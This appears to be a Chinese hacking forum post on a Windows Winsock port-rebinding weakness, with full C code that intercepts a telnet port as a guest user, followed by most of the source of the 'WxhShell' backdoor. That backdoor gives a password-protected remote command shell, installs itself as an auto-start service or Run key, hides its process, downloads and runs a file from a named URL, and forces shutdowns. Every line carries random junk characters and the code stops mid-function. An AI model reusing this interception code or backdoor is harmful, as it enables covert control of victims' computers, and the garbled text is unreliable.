在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
C=2DxdZG s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
rC_saHo>#R w O6>jW
7 saddr.sin_family = AF_INET;
\ 7IT[<Se (iIzoEpb8W saddr.sin_addr.s_addr = htonl(INADDR_ANY);
x:h)\%Dg< c2L\m*^o bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
[.6bxK B
]sVlbt 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
M.bkFuh PDLps[a 这意味着什么?意味着可以进行如下的攻击:
jv6>7@<G 1=e(g#Ajn\ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
lXEnm-_ ; P$ _:-C 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
qn'TIE. Sr_hD5! 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
F{_,IQ]U OX?E3 <8` 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
L[<CEk ^ >
?C 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
^/#8 " h"'}Z^ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
DyA1zwp} kq([c r 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
\tY7Ga%c t;u)_C,bmP #include
N8=-=]0G #include
aOQT-C[
O #include
/c6]DQ<? #include
`wr*@/P DWORD WINAPI ClientThread(LPVOID lpParam);
J|@D @\?7 int main()
o/[Ks;l {
T_#8i^;D WORD wVersionRequested;
*SpE
XO DWORD ret;
7xR:\FBa^ WSADATA wsaData;
[;o>q;75Jz BOOL val;
sbFIKq] SOCKADDR_IN saddr;
t~BWN SOCKADDR_IN scaddr;
KC%&or int err;
CrG!8} SOCKET s;
J25/Iy*byG SOCKET sc;
*SlWA)9Y int caddsize;
D- O{/ HANDLE mt;
ZI8@ 6 L\ DWORD tid;
/!y;h- wVersionRequested = MAKEWORD( 2, 2 );
Mm1>g~o err = WSAStartup( wVersionRequested, &wsaData );
s6#e?5J if ( err != 0 ) {
Ps;4 ]=c printf("error!WSAStartup failed!\n");
)-Z*/uF^ return -1;
Y kvEQ= }
:nfy=*M# saddr.sin_family = AF_INET;
ln":j?` @ScC32X //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
O1+yOef"k @;KvUR/+FE saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
8Qj1%Ri:U saddr.sin_port = htons(23);
7]i6 Gk
if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
B__e*d:)!m {
.9Dncsnf,` printf("error!socket failed!\n");
N9M",(WTt} return -1;
Vup|*d2r0E }
-KfMKN~ val = TRUE;
4Lz[bI //SO_REUSEADDR选项就是可以实现端口重绑定的
?FEh9l)d\ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
oq b(w+< {
sP~xe( printf("error!setsockopt failed!\n");
/CbiYm return -1;
FMzG6nrdBN }
6&L;Sw#Dg //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
NbCIL8f] //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
P
m&^rC; //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
5H|7DVG 6E(..fo:" if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
` .]oH1\ {
nT(AO-Ue^ ret=GetLastError();
@X9T" printf("error!bind failed!\n");
lhf5[Rp return -1;
l)'*jZ }
sE!g!ht listen(s,2);
i [Wxu M while(1)
{XD':2E {
D=Yr/qc? caddsize = sizeof(scaddr);
rV?@Kgxi //接受连接请求
+8"P*z, sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
bQPO'S4 if(sc!=INVALID_SOCKET)
(m=1yj9 {
-rT#Wi mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
JxEz1~WK & if(mt==NULL)
FPPl^ {
P^U.VXY} printf("Thread Creat Failed!\n");
Vock19P break;
7(P4KvkI }
ub+XgNO }
Xn>>hzj-x? CloseHandle(mt);
pRUQMPn ( }
6z:/ma^
closesocket(s);
73SH[f[g WSACleanup();
{.DY\;Q return 0;
^+k= ;nl }
bqaj~:}@ DWORD WINAPI ClientThread(LPVOID lpParam)
H]f[r~ {
]Zc\si3i& SOCKET ss = (SOCKET)lpParam;
Lr=^0 SOCKET sc;
,}9
tJY@E unsigned char buf[4096];
9}tl@ SOCKADDR_IN saddr;
6Tc!=lk long num;
E}<i?; DWORD val;
~&+ a.@T DWORD ret;
eZ0-O /_i //如果是隐藏端口应用的话,可以在此处加一些判断
>p" U| //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
oq|`;k saddr.sin_family = AF_INET;
_A0X[}^K saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
)_?h;wh 84 saddr.sin_port = htons(23);
.MID)PY- if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
|ZXz&Xor {
rp2g./2 printf("error!socket failed!\n");
!\O!Du return -1;
FJxb!-0& }
mAJ'>^`^ val = 100;
Kb1@ + if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
r:4]:NKCi {
]KG.-o30 ret = GetLastError();
h~z}NP return -1;
u0g"x_3 }
dJdOh#8+Xi if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
=^_a2_BBl {
:2')`xT ret = GetLastError();
$M+'jjnP return -1;
BQ70<m2D$ }
4x@W]*i if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
obPG]*3 {
Dca,IaT' printf("error!socket connect failed!\n");
H0.A;` closesocket(sc);
-})zRL0!' closesocket(ss);
Z+[W@5q return -1;
AN|f:259 }
%L
wq. while(1)
S_RP&+!7 {
?5,I`9 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
M=SrZ,W //如果是嗅探内容的话,可以再此处进行内容分析和记录
~`B]G //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
W/CZ/Mc num = recv(ss,buf,4096,0);
&2O~BIRE if(num>0)
>m{>0k(^` send(sc,buf,num,0);
[nrD4 else if(num==0)
QXl~a%lB break;
U\-.u3/ num = recv(sc,buf,4096,0);
z^WY5~? if(num>0)
>&F:/ send(ss,buf,num,0);
jpoNTl' else if(num==0)
rls{~ZRl break;
u]ps-R_$G }
N%1nii closesocket(ss);
UdA,.C0 closesocket(sc);
v$g\]QS
p return 0 ;
bka%W@Y% }
Fdq5:v?k !C^>tmqS rq}xuSFI ==========================================================
oEj$xm_} x-4d VKE*z 下边附上一个代码,,WXhSHELL
U)Tl<l< vz1I/IdTd ==========================================================
#TH(:I=[ eX!yIqAR #include "stdafx.h"
Ae"|a_>fMI Rtl1eJ- #include <stdio.h>
JeA_mtSQ| #include <string.h>
K]|hkp& #include <windows.h>
3*(><<ZC #include <winsock2.h>
yx ;K&> #include <winsvc.h>
+kD JZ #include <urlmon.h>
$d,{I8d s'IB{lJ9 #pragma comment (lib, "Ws2_32.lib")
l
m(mY$B*_ #pragma comment (lib, "urlmon.lib")
kf9]nIo imhE=6{ #define MAX_USER 100 // 最大客户端连接数
l0g+OMt #define BUF_SOCK 200 // sock buffer
@,]W #define KEY_BUFF 255 // 输入 buffer
1F3Q^3+ kXlI*h #define REBOOT 0 // 重启
y|3("&)"S #define SHUTDOWN 1 // 关机
W`TSR?4~t? UQ@szE #define DEF_PORT 5000 // 监听端口
3v `@** \YF07L]qs- #define REG_LEN 16 // 注册表键长度
,^eOwWV #define SVC_LEN 80 // NT服务名长度
s vS)7]{cU {/>uc,8O // 从dll定义API
>*n4j: typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
EV-# E typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Bqb`WX[<` typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
'R42N3|F typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
;ZP!:, , E$f" // wxhshell配置信息
Q]VG6x struct WSCFG {
~lqNWL^l int ws_port; // 监听端口
j7NOYm5N char ws_passstr[REG_LEN]; // 口令
Z
J1@z. int ws_autoins; // 安装标记, 1=yes 0=no
av:%wJUl,$ char ws_regname[REG_LEN]; // 注册表键名
ld 1[Usaq char ws_svcname[REG_LEN]; // 服务名
<JvYCWX` char ws_svcdisp[SVC_LEN]; // 服务显示名
<i`s)L char ws_svcdesc[SVC_LEN]; // 服务描述信息
X;#Ni}af char ws_passmsg[SVC_LEN]; // 密码输入提示信息
7-\wr^ll3 int ws_downexe; // 下载执行标记, 1=yes 0=no
y>d`cRy char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
U!JmSP char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Xf
mN/j2 :lmimAMt };
=@X?$>' If8
^ // default Wxhshell configuration
wub7w# struct WSCFG wscfg={DEF_PORT,
%*IH~/Ld;] "xuhuanlingzhe",
`49!di[ 1,
3Ljj|5.q "Wxhshell",
w]V684[> "Wxhshell",
I'N!j>5oX "WxhShell Service",
BuxU+ "Wrsky Windows CmdShell Service",
PGVP0H+RV "Please Input Your Password: ",
Vf=,@7 1,
l\d[S] "
http://www.wrsky.com/wxhshell.exe",
E33x)CP "Wxhshell.exe"
ng6E&<Z };
T]b&[?p|a[ uigzf^6, // 消息定义模块
n3 Rf:j^R char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
K
6,c||#< char *msg_ws_prompt="\n\r? for help\n\r#>";
Uv=)y^H~*A char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
8p1:dTI5Pb char *msg_ws_ext="\n\rExit.";
d(|4 +^> char *msg_ws_end="\n\rQuit.";
Z1;+a+S=z char *msg_ws_boot="\n\rReboot...";
`R lWhdE char *msg_ws_poff="\n\rShutdown...";
?g0dr?H char *msg_ws_down="\n\rSave to ";
{Hvkn{{' Qp2~ `hD char *msg_ws_err="\n\rErr!";
m"AyO"}I5 char *msg_ws_ok="\n\rOK!";
uv{*f)j/d mJH4M9WJ] char ExeFile[MAX_PATH];
[[]NnWJ int nUser = 0;
&lxMVynL HANDLE handles[MAX_USER];
LJt5?zQKrW int OsIsNt;
9C5F#(uY ^W^Y"0y9` SERVICE_STATUS serviceStatus;
?iHcY, SERVICE_STATUS_HANDLE hServiceStatusHandle;
yBv4 xKMH NL!xkcXO // 函数声明
.v9i|E=<~ int Install(void);
BrZ17 int Uninstall(void);
Q^?$2ck= int DownloadFile(char *sURL, SOCKET wsh);
gb[.Ww int Boot(int flag);
\\d8ulu void HideProc(void);
RtDTcaW/ int GetOsVer(void);
g|4>S<uC int Wxhshell(SOCKET wsl);
pF}E`U=Z void TalkWithClient(void *cs);
N~S#(.}[ int CmdShell(SOCKET sock);
5p3:8G7 int StartFromService(void);
hl DU.k int StartWxhshell(LPSTR lpCmdLine);
$d&7q5[ 9,"gXsvx( VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
&[yYgfsp VOID WINAPI NTServiceHandler( DWORD fdwControl );
]2|KG3t 4]Gm4zO // 数据结构和表定义
|>>^Mol SERVICE_TABLE_ENTRY DispatchTable[] =
D (e,R9hPU {
XZ3M~cDq {wscfg.ws_svcname, NTServiceMain},
d/YQ6oKU {NULL, NULL}
h_g"F@ };
L%pAEoSG 7&L8zl|K // 自我安装
>Tn[CgH]7 int Install(void)
U-{3HHA {
S>"C}F$X char svExeFile[MAX_PATH];
@]EdUzzKq HKEY key;
E|6@h8# strcpy(svExeFile,ExeFile);
@9k/od@mW EFu> // 如果是win9x系统,修改注册表设为自启动
tM;+U if(!OsIsNt) {
OXX D}-t if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
=2}bQW RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
hWbjA[a/ RegCloseKey(key);
avXBCvP+h if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Oj2=& uz RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Q
H>g-@ RegCloseKey(key);
";n%^I} return 0;
QP@@h4J^ }
Ku3NE-) }
*$mb~k^R }
:U @L$ else {
Jr>Nc}!U ^{E_fQJX // 如果是NT以上系统,安装为系统服务
f
uH3C~u7< SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
s(MdjWw if (schSCManager!=0)
90H/Txq {
;BHIss7 SC_HANDLE schService = CreateService
wvr`~ e (
-W|~YK7e schSCManager,
[[ }ukG4 wscfg.ws_svcname,
bF +d_t wscfg.ws_svcdisp,
.ffr2\'* SERVICE_ALL_ACCESS,
1 Va@w SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Ow-;WO_HQ SERVICE_AUTO_START,
wMM1Q/-# SERVICE_ERROR_NORMAL,
a4q02 cV svExeFile,
&kH7_Lz NULL,
=v{ R(IX% NULL,
-^rdB6O6j NULL,
qJXfc||Zg NULL,
|CBJ8],mT NULL
wFBSux$ );
4@M}5WJ7 if (schService!=0)
B{V(g"dM {
7?
="{; CloseServiceHandle(schService);
a6/E TQ CloseServiceHandle(schSCManager);
LM!@LQAMY strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
) LBbA strcat(svExeFile,wscfg.ws_svcname);
L|A1bxt if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
q+XU Cnv RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
MLmv+ RegCloseKey(key);
F@ZB6~T~. return 0;
j~hvPlho }
5ai$W`6 }
tZr_{F@ CloseServiceHandle(schSCManager);
W9A F} }
G[P<!6Id!p }
1L3 $h0i 8%b-.O:_$ return 1;
i6^-fl }
o;pJjC] l!}7GWj // 自我卸载
(IAR-957pN int Uninstall(void)
W:2j.K9! {
1.a:iweN HKEY key;
pJQ_G`E ip*UujmNyR if(!OsIsNt) {
cs]3Rp^g if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
:&s8G* RegDeleteValue(key,wscfg.ws_regname);
]TsmW ob RegCloseKey(key);
2]tW&y_i if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
mxCqN1:# RegDeleteValue(key,wscfg.ws_regname);
' KNg; RegCloseKey(key);
4}<[4]f?| return 0;
h;J%Z!Rjw }
Oc/ i' }
F[0w*i&u5 }
v0%FG9Gk else {
7+P-MT byIP]7Ld SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
{\
BFWGX if (schSCManager!=0)
2:6lr4{uY {
FOuPj+}F SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
B)&z% + if (schService!=0)
|eej}G(,m} {
sTi3x)#xB if(DeleteService(schService)!=0) {
|b|bL 7nx CloseServiceHandle(schService);
U+@rLQ.- CloseServiceHandle(schSCManager);
?a~#`< return 0;
+3-f$/po }
FF30VlJ CloseServiceHandle(schService);
/I0}(;^y }
U{3Pk0rZ CloseServiceHandle(schSCManager);
->@iw!5xu }
eXtlqU$ }
H$)otDOE ET~^P return 1;
E, |OMK# }
F^7qr s&6/fa
// 从指定url下载文件
.wcKG9u int DownloadFile(char *sURL, SOCKET wsh)
q>VvXUyK, {
5Yx
7Q:D HRESULT hr;
257q%" char seps[]= "/";
->&amPv char *token;
'\Uy;,tu / char *file;
^FK-e;J char myURL[MAX_PATH];
Kd3EZo. char myFILE[MAX_PATH];
HhB'
^) w?M` gl8r strcpy(myURL,sURL);
_RG2I)P token=strtok(myURL,seps);
!JPZ7_nn while(token!=NULL)
qD5)AdCGO {
F6
f file=token;
,<=_t{^ token=strtok(NULL,seps);
t~
z;G%a }
_z&H O m2to94yh GetCurrentDirectory(MAX_PATH,myFILE);
gg
:{Xf*` strcat(myFILE, "\\");
"'U]4Z%q! strcat(myFILE, file);
~P+;_ send(wsh,myFILE,strlen(myFILE),0);
iiV'-!3w send(wsh,"...",3,0);
:ZU-Vi.b hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
*En4~;l if(hr==S_OK)
I<$m% return 0;
O[HBw~ else
7u[$ return 1;
7^Y`'~Y^ }j|YX&`p }
DMd&9EsRG pt9fOih[ // 系统电源模块
8|IlJiJ~v int Boot(int flag)
(l:LG"sy\ {
jxDA+7 HANDLE hToken;
3>G"&T{ TOKEN_PRIVILEGES tkp;
=E:a\r wL"
2Cm if(OsIsNt) {
>Gr,!yP OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
RVa{% LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
EdS7m,d tkp.PrivilegeCount = 1;
O|0} m tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
cAzlkh AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
:X#'ELo| if(flag==REBOOT) {
:.W</o~\s if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
2M?L++i return 0;
Ve\P ,. }
>SHW else {
=_,j89E if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
E3h-?ugO' return 0;
3 bll9Ey }
*vIC9./ }
z]=jer else {
=}YaV@g<f if(flag==REBOOT) {
&,iPI2`O A if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
EL1*@ return 0;
o\:vxj+%* }
f5hf<R),A else {
*^.OqbO[U if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
fZrB!\Q return 0;
[knwp$ }
U#F(%b-LC }
e><